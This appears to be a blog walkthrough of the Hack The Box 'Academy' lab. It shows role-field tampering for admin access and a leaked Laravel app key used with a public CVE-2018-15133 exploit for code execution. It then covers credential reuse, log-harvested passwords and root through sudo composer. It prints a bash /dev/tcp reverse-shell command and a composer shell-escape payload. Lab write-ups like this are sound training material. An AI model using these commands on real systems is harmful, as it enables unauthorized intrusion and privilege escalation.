Hack The Box: Academy Writeup without Metasploit

Abhishek Rautela
9 min readFeb 27, 2021


Academy is an easy-rated box that required exploiting Laravel deserialization vulnerability(CVE-2018–15133) for an initial foothold and abusing sudo rights for composer to get root. Let’s just jump in.


We will begin reconnaissance with a full TCP Nmap scan

sudo nmap -T4 -sC -sV -Pn -p- -vv -oA nmap/
  • -T4 : Run faster scan
  • -sC : Specifies Nmap to run default scripts
  • -sV : Specifies Nmap to run service and version detection
  • -Pn : Treat all hosts as online (skip host discovery)
  • -p- : Scan all ports
  • -vv : Verbose output
  • -oA : Output all formats

The result of the Nmap scan is as follows:

# Nmap 7.80 scan initiated Mon Feb 22 00:27:39 2021 as: nmap -T4 -sC -sV -Pn -p- -vv -oA nmap/
Nmap scan report for
Host is up, received user-set (0.18s latency).
Scanned at 2021-02-22 00:27:39 EST for 761s
Not shown: 65532 closed ports
Reason: 65532 resets
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
33060/tcp open mysqlx? syn-ack ttl 63
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 22 00:40:20 2021 -- 1 IP address (1 host up) scanned in 760.86 seconds

We have three ports open:

  • Port 22: SSH (OpenSSH 8.2p1 Ubuntu)
  • Port 80: Apache HTTPd 2.4.41
  • Port 33060: MYSQLX


Let us begin enumerating the open ports, checking ports with a narrow range of attack vectors first.

Port 22

We have OpenSSH 8.2p1 running on a Ubuntu machine. A simple google search reveals that the Ubuntu version is probably Ubuntu Focal. The version of SSH is not associated with some major vulnerability so we will leave this port for now.

Port 33060

At Port 33060 we have MYSQLX running. This port is used by the MySQL clients to connect to the MySQL server. This connection uses the X-Protocol. This port is supported by clients like MYSQL-Shell or community MYSQL-Connectors, while the MySQL client and tools like mysqldump are using the classical Port. The X-Protocol is an alternate MYSQL query interface that includes an alternate API called X-Dev API. It allows you to access the data in JSON and also supports SQL. You can read more about it in the link attached. As we do not have credentials let’s leave this port for now.

Port 80

We have Apache 2.4.41 running on port 80. The Nmap scan shows that the webpage redirects to http://academy.htb/. This is a possible hostname. Add the hostname to /etc/hosts.

First, let us check the web-server info with WhatWeb.

whatweb --no-errors -a 3 -v  http://academy.htb | tee whatweb.log

Tee is a command-line utility that uses standard streams which reads standard input and writes it to both standard output and one or more files.

WhatWeb returns the following output:

WhatWeb report for http://academy.htb
Status : 200 OK
Title : Hack The Box Academy
IP :
Country : RESERVED, ZZ
Summary : Apache[2.4.41], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)]Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.41 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.41 (Ubuntu) (from server string)
HTTP Headers:
HTTP/1.1 200 OK
Date: Mon, 22 Feb 2021 05:32:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 716
Connection: close
Content-Type: text/html; charset=UTF-8

Opening the URL in a web browser returns the following page.

The webpage has a Login and Register option. In the background run gobuster to discover hidden files and directories.

gobuster dir -u http://academy.htb -w  /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt -t 30 -o gobuster.out


The first thing I tried was logging in with some common credentials like admin/admin, admin/password, root/password, etc. Unable to log in.

Let’s try to Register a new user. Whenever dealing with HTML forms it is a good practice to check the source code for hidden input fields or comments.

The Register form has a hidden input field with the name roleid and a default value of 0. Using the inspector tool in a Web Browser we can easily remove the type= “hidden” attribute and unhide the field. Now let us create a new user and change the roleid to 1 instead of the default value 0.

We have successfully created a new user. Login by clicking on the Login option. Logging into the web-app we get the following page.

The webpage has been built on PHP but I couldn’t find anything of interest here.

By this time Gobuster scan had finished and returned the following files/directories.

We have an admin.php page. Let’s try to Login with the user we created earlier. We are in…..!!!

So what the hell just happened? Well, it’s simple, the register.php page has a hidden input field with a roleid of 0. The database probably has a column of roleid where 0 is for a user and roleid 1 is for admin. The website has a separate page for admin login and when someone tries to log in to the admin.php page its roleid is checked. The application probably differentiates between a user and an admin on the basis of roleid. If the user has a roleid of 1 he is considered a valid admin. Hopefully, that makes sense.

The admin-page.php or the admin dashboard has a sort of To-Do checklist. We have few things of interest here.

  • We have two possible usernames: cry0l1t3 and mrb3n
  • We have a subdomain dev-staging-01.academy.htb.

Add the subdomain to the /etc/hosts file. Staging and dev subdomains are always interesting findings to look at as they might have errors, comments or features that are generally not visible on the actual website.

Visiting the URL displays the following webpage.

The webpage is broken due to insufficient permissions to /var/www/html/htb-academy-dev-01/storage/logs/laravel.log and displaying PHP/Laravel errors. Error messages are generally a treat and can display sensitive info. In our case, we have a few things of interest.

We have the Laravel app key and the database info.

The first thing I tried was connecting to the MYSQLX port with the database credentials.

No success. The MYSQLX port is probably configured to allow only localhost( to connect, as shown in the error message.

The next thing is to search what can be done with a Laravel app key.

Success. We have a CVE(CVE-2018–15133). Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur as a result of an unserialize call on a potentially untrusted X-XSRF-TOKEN value. In simple words, Laravel version 5.5.40 and 5.6.x-5.6.29 are vulnerable to deserialization vulnerability.

Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage or to send as part of communications.

Deserialization is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON.

You can read more about the CVE and Deserialization in the following links:

We have a public exploit available at https://github.com/aljavier/exploit_laravel_cve-2018-15133

Download the exploit and run as follows

python3 pwn_laravel.py http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= -c whoami

We have RCE. Let’s get a reverse shell.

python3 pwn_laravel.py http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= -c "bash -c 'bash -i >& /dev/tcp/ 0>&1'"

We get a shell as www-data.

Privilege Escalation

Navigate to /var/www/html/academy/. We have a Laravel environment variable file .env available. Check the contents of the file.

We have the Database Password. Check the /etc/passwd for potential users.

We have a few users. Copy the users with shell and save to a file. Grab only the users with the following command.

cat users | cut -d “:” -f 1 > users.txt

Save the database password to a file.

echo 'mySup3rP4s5w0rd!!'> password.txt

Next, we will Bruteforce SSH with crackmapexec to check if we can reuse the database password.

We get a valid user cry0l1t3.

cry0l1t3 : mySup3rP4s5w0rd!! 

SSH into cry0l1t3 user with the credentials.

ssh cry0l1t3@

Download and run Linpeas.

Linpeas shows the following file has been updated in the last 5 minutes.
▪ /var/log/audit/audit.log

Linpeas also returns a password in /var/log/audit/audit.log.3 file.

The password seems to be in hex. Convert the hex characters to ASCII with an online converter.

We have a password. The password is probably for mrb3n user. SSH into mrb3n account.

We are mrb3n user. Let’s check for basic privesc vectors like SUID, Sudo, Groups and Cron Jobs.

find / -perm -4000 -ls 2>/dev/nullsudo -lgroupscat /etc/cron

The sudo command returns that we can run composer as sudo.

Check gtfobins. We can indeed abuse the sudo rights for composer. We will use the following set of commands to gain root.

TF=$(mktemp -d)echo ‘{“scripts”:{“x”:”/bin/sh -i 0<&3 1>&3 2>&3"}}’ >$TF/composer.jsonsudo composer — working-dir=$TF run-script x

We are root.

We can now grab the flags.

For suggestions/queries reach out to me on Twitter @accesscheck.